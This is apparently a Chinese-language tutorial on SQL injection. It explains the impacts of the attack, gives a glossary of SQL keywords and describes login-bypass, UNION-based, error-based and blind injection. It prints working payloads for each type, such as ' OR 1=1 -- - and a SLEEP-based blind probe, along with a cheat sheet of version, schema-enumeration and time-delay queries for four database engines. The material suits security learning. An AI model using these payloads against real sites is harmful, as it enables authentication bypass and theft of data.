SQL injection
SQL Injection(
SQLi)是一種常見的網頁安全漏洞。攻擊者利用應用程式與資料庫之間的查詢機制插入惡意的
SQL
語句,從而影響應用程式對資料庫的操作。這種攻擊方式可能導致未經授權的資料存取,甚至改變應用程式的內容或行為。
SQL Injection影響
當成功執行 SQL Injection可能導致以下結果:
未經授權的資料存取:
攻擊者可以檢視原本無權存取的敏感資訊,例如:使用者帳號與密碼、信用卡資訊、個人隱私數據。
修改或刪除資料
攻擊者可以直接變更、刪除資料庫中的資料,影響應用程式的正常運作。取得管理權限
攻擊者可能執行管理員級別的 SQL 指令,如新增或刪除使用者,進而掌控整個資料庫。伺服器控制權限
在某些情況下,攻擊者可以執行系統命令,入侵伺服器,甚至取得完整的後端基礎設施控制權。持久性後門
攻擊者可能在受害系統中植入後門,讓其長期存取企業內部資料,而不被察覺。
SQL相關指令
以下為簡易的SQL指令參數的介紹,方便以後理解SQL Injection的原理
- SELECT:用來從資料庫中選取數據。
- INSERT:用來新增數據到資料表中。
- UPDATE:用來修改資料表中的數據。
- DELETE:用來刪除資料表中的數據。
- JOIN:用來合併多個表的數據。
- GROUP BY:依照指定的欄位將資料表中的行分組。
- ORDER BY:依照指定的欄位對查詢結果進行排序。
- WHERE:用來設定條件過濾查詢結果。
- DISTINCT:用來去除重複數據,只回傳唯一的值。
- COUNT:計算列中的行數或非NULL的數量。
- SUM:用來計算總和。
- AVG:用來計算平均值。
- MAX:回傳某列中的最大值。
- MIN:回傳某列中的最小值。
- HAVING: 與 GROUP BY 搭配使用,篩選分組後的結果。
- UNION:合併兩個或更多 SELECT 查詢的結果。
- IN:用來查詢某欄位的值是否在給定列表中。
- BETWEEN:用來查詢數值是否在某範圍內(包含邊界)。
- LIKE:在某一列中搜尋指定的值。
- EXISTS:用來檢查某條件值是否存在
- CASE:類似 if-else 的條件判斷語句。
- INDEX:用來加速查詢的索引。
- PRIMARY KEY:確保每筆資料的唯一性。
- FOREIGN KEY:用來建立表與表之間的關聯性。
- VIEW:建立從一個或多個現有表的虛擬表。
- LENGTH 取得字串的長度(bytes)
- SUBSTRING 取出指定位置開始的指定長度,字串後面擺三個參數(列的名稱, 索引值第幾個位子, 字元長度)
SQL Injection類型
SQL Injection類型常見有以下幾類:
SQL Injection Login Bypass:
SQL Injection Login Bypass 是一種透過 SQL Injection來繞過身份驗證的攻擊手法。攻擊者利用惡意輸入操控 SQL 查詢,使系統認為驗證已通過,即使未提供正確的帳號與密碼。UNION Base SQL Injection:
攻擊者利用UNION SELECT
語句將惡意查詢結果與正常查詢合併,從而獲取其他表格的敏感資訊。Error Base SQL Injection:
攻擊者故意輸入錯誤 SQL指令,讓伺服器返回詳細錯誤信息,其中可能包含數據庫名稱、表格結構等關鍵資訊。Blind SQL injection:
當應用程式不直接返回 SQL 執行結果時,攻擊者可透過分析伺服器的回應變化來獲取資訊。
SQL injection範例:
SQL Injection Login Bypass
假設登入頁面欄位背後執行是這樣 1
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
admin' --
和' OR 1=1 -- -
會使的查詢結果變成
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '';
SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '';
透過以上參數會將後面的 AND password = '' 忽略,使查詢只檢查 username = 'admin'。此時admin存在於資料庫,即可成功登入。
UNION Base SQL Injection
假設登入頁面欄位背後執行是這樣
1
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
1
' UNION SELECT 1, 'admin', 'password' --
1
SELECT * FROM users WHERE username = '' UNION SELECT 1, 'admin', 'password' -- ' AND password = '';
Error-Based SQL Injection
假設登入頁面欄位背後執行是這樣
1
SELECT * FROM users WHERE id = 1;
1
1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT @@version), 0x7e, FLOOR(RAND(0)*2)) AS a FROM information_schema.tables GROUP BY a) x) --
輸出結果可能會顯示出當前資料庫版本
Blind SQL injection:
假設登入頁面欄位背後執行是這樣
1
SELECT name FROM users WHERE id = '1';
1
1' AND IF(ASCII(SUBSTRING((SELECT database()),1,1))=116, SLEEP(5), 0) --
簡易SQL injection查詢表
字串連接
將多個字串連接在一起以產生單個字串
Oracle 'foo'||'bar'
Microsoft 'foo'+'bar'
PostgreSQL 'foo'||'bar'
MySQL 'foo' 'bar'
資料庫版本
查詢資料庫版本
Oracle SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version
資料庫內容
列出資料庫中存在的表以及這些表包含的列。
Oracle
1
2SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
1
2SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL
1
2SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
1
2SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
Time delays
無條件延遲 10 秒。
Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)
參考資料
- Avoid “OR 1=1” in SQL Injections
https://tcm-sec.com/avoid-or-1-equals-1-in-sql-injections/
- SQL Injection Attack: How It Works, Examples and Prevention
https://brightsec.com/blog/sql-injection-attack/#notable-vulnerabilities
- Mastering
SQL Injection: The Ultimate Guide To Types, Examples And Coping
Strategies!
- https://portswigger.net/web-security/sql-injection#what-is-sql-injection-sqli